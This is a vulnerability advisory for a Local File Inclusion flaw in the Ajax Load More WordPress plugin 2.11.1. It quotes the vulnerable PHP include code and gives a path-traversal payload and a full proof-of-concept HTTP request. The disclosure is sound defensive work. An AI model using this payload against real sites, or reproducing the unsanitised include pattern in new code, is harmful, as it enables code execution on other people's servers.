Ajax Load More Local File Inclusion vulnerability

Abstract

It was discovered that the Ajax Load More WordPress plugin is vulnerable to Local File Inclusion. This issue can potentially be exploited to run arbitrary PHP code. In order to do so, the attacker must be able to place an arbitrary PHP file on the target system. The malicious file must have the .php extension.

OVE ID

OVE-20160712-0034

Tested versions

This issue was succesfully tested on the Ajax Load More - Infinite Scroll WordPress Plugin version 2.11.1.

Fix

This issue is fixed in version 2.11.2

Details

Userinput $repeater is sent to $include = ALM_REPEATER_PATH . 'repeaters/'. $template .'.php';, which results in Local File Inclusion. For a succesfull exploit the payload needed to contain repeater value and a numeric value which when splitted by alm_get_repeater_type results in repeater for the $type parameter.

repeater=repeater2f%2e%2e%2f../../../xmlrpc

https://www.owasp.org/index.php/PHP_File_Inclusion https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion

$repeater = (isset($_GET['repeater'])) ? $_GET['repeater'] : 'default';		
$type = alm_get_repeater_type($repeater);
	
function alm_get_repeater_type($repeater){
	$type = preg_split('/(?=\d)/', $repeater, 2); // split $repeater value at number to determine type
   $type = $type[0]; // default | repeater | template_	
	return $type;
}
	
[..]
	
if($queryType === 'standard'){ 
	
[..]
	
	if($theme_repeater != 'null' && has_action('alm_get_theme_repeater')){
		   				do_action('alm_get_theme_repeater', $theme_repeater, $alm_found_posts, $alm_page, $alm_item, $alm_current); // Theme Repeater
						}else{
							include( alm_get_current_repeater($repeater, $type) ); //Include repeater template
						}
						
[..]
	
function alm_get_current_repeater($repeater, $type) {
   
	$template = $repeater;
	$include = '';
		
	// If is Custom Repeaters (Custom Repeaters v1)
	if( $type == 'repeater' && has_action('alm_repeater_installed' )){ 
		$include = ALM_REPEATER_PATH . 'repeaters/'. $template .'.php';      					
		
		if(!file_exists($include)) //confirm file exists        			
		   alm_get_default_repeater(); 
		
	}
   // If is Unlimited Repeaters (Custom Repeaters v2)
	elseif( $type == 'template_' && has_action('alm_unlimited_installed' )){
		global $wpdb;
		$blog_id = $wpdb->blogid;
		
		if($blog_id > 1){	
			$include = ALM_UNLIMITED_PATH. 'repeaters/'. $blog_id .'/'.$template .'.php';
		}else{
			$include = ALM_UNLIMITED_PATH. 'repeaters/'.$template .'.php';		
		}   		
				
		if(!file_exists($include)) //confirm file exists        			
		   $include = alm_get_default_repeater(); 			
	
	}
	// Default repeater
	else{				
		$include = alm_get_default_repeater();
	}
		
	return $include;
	
}

The victim should have the paid add-on Custom Repeater or Unlimited installed.

Proof of Concept

GET /html/wp-admin/admin-ajax.php?action=alm_query_posts&query_type=standard&nonce=&repeater=repeater2f%2e%2e%2f../../../xmlrpc&theme_repeater=null HTTP/1.1
Host: 192.168.50.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://192.168.50.9/html/
Cookie: 
Connection: close
Pragma: no-cache
Cache-Control: no-cache